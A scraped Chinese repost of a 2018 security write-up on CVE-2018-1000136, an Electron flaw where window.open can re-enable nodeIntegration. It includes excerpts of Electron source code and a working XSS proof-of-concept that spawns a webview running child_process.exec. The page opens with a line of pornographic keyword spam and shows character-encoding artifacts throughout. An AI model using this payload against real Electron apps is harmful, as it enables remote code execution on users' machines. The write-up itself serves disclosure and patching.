日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2018-1000136:Electron nodeIntegration绕过漏洞

發(fā)布時間:2023/11/29 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CVE-2018-1000136:Electron nodeIntegration绕过漏洞 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

1周前,研究人員發(fā)現(xiàn)一個影響Electron所有版本的漏洞,利用該漏洞可以開啟nodeIntegration,這可能會造成遠程代碼執(zhí)行。Electron是一個使用JavaScript,HTML和CSS等Web技術創(chuàng)建原生程序的框架,它負責比較難搞的部分,而用戶只需把精力放在應用的核心上即可。Slack、Discord、Signal、Atom、Visual Studio Code、Github桌面版等很多的應用都是用了Electron框架。

Electron是web應用,也就是說如果沒有正確對用戶輸入進行處理的話就可能會受到XSS腳本攻擊。默認的Electron應用不僅可以包含對自己API的訪問,還包含對所有Node.js植入模塊的訪問。這會讓XSS攻擊的危險變大,因為攻擊者的payload可以做很多的壞事,比如在客戶端執(zhí)行系統(tǒng)命令等。Atom前不久就被曝類似的XSS漏洞。用戶可以將nodeIntegration: false傳入應用webPreferences中,來移除對Node.js的訪問。

還有一個webview的tag特征可以將內(nèi)容嵌入到Electron應用中,并以獨立的進程運行。當使用webview tag時,你可以傳遞一些屬性值,其中就包括nodeIntegration。WebView容器默認是不開啟nodeIntegration的。文檔描述了如果webviewTag選項沒有在webPreferences中明確說明,就會繼承nodeIntegration的設定值的權限。

默認情況下,Electron會使用傳統(tǒng)的window.open()函數(shù)來創(chuàng)建一個BrowserWindow的新實例。子窗口默認會繼承父窗口的所有選項。傳統(tǒng)的window.open()函數(shù)允許用戶通過在featuresargument中傳遞一些值來修改繼承的選項的值:

if (!usesNativeWindowOpen) {// Make the browser window or guest view emit "new-window" event.window.open = function (url, frameName, features) {if (url != null && url !== '') {url = resolveURL(url)}const guestId = ipcRenderer.sendSync('ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN', url, toString(frameName), toString(features))if (guestId != null) {return getOrCreateProxy(ipcRenderer, guestId)} else {return null}}if (openerId != null) {window.opener = getOrCreateProxy(ipcRenderer, openerId)} }

當Electron的window.open函數(shù)被調(diào)用,就會觸發(fā)一個ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。該事件處理器會將這些特征進行語法分析,并把這些特征加入到新創(chuàng)建的窗口的選項中,然后觸發(fā)ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。為了防止子窗口做壞事,guest-window-manager.js含有一個webPreferences選項的硬編碼的列表和限定值:

// Security options that child windows will always inherit from parent windowsconst inheritedWebPreferences = new Map([['contextIsolation', true],['javascript', false],['nativeWindowOpen', true],['nodeIntegration', false],['sandbox', true],['webviewTag', false]]);

ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPEN事件處理器調(diào)用mergeBrowserWindowOptions函數(shù)來確保父窗口webPreferences的限制屬性應用到子窗口:

const mergeBrowserWindowOptions = function (embedder, options) {[...]// Inherit certain option values from parent windowfor (const [name, value] of inheritedWebPreferences) {if (embedder.getWebPreferences()[name] === value) {options.webPreferences[name] = value}}// Sets correct openerId here to give correct options to 'new-window' event handleroptions.webPreferences.openerId = embedder.idreturn options}

這就是該漏洞的核心。mergeBrowserWindowOptions函數(shù)并不會考慮到這些限制屬性的默認值是否定義過。或者說,如果webviewTag: false沒有在應用的webPreferences中明確定義,當mergeBrowserWindowOptions函數(shù)檢查webview Tag時,就會返回undefined,讓上面的if判斷返回錯誤,就不會應用父窗口的webviewTag preference。這會讓window.open以額外特征的方式傳遞webview Tag選項,重新開啟nodeIntegration,并最終導致潛在的遠程代碼執(zhí)行。

POC

下面的POC說明了XSS payload如何在運行時重新開啟nodeIntegration,并執(zhí)行系統(tǒng)命令:

<script>var x = window.open('data://yoloswag','','webviewTag=yes,show=no');x.eval("var webview = new WebView;"+"webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"+"webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"+"document.body.appendChild(webview)");</script>

poc執(zhí)行的條件為:

· Electron應用的nodeIntegration是關閉的;

· 含有沒有適當處理用戶輸入的XSS漏洞或其他依賴該應用的漏洞;

· Electron 版本< 1.7.13, < 1.8.4, 或 < 2.0.0-beta.3;

· 沒有在webPreferences中聲明webviewTag: false;

· 或沒有在webPreferences中開啟nativeWindowOption選項;

· 或沒有用選項tag來攔截新窗口時間或覆寫 event.newGuest。

如果以上條件滿足,那么POC就可以在有漏洞的Electron版本上遠程代碼執(zhí)行。


原文發(fā)布時間為:2018-05-18

本文來自云棲社區(qū)合作伙伴“嘶吼網(wǎng)”,了解相關信息可以關注“嘶吼網(wǎng)”。

創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎勵來咯,堅持創(chuàng)作打卡瓜分現(xiàn)金大獎

總結(jié)

以上是生活随笔為你收集整理的CVE-2018-1000136:Electron nodeIntegration绕过漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。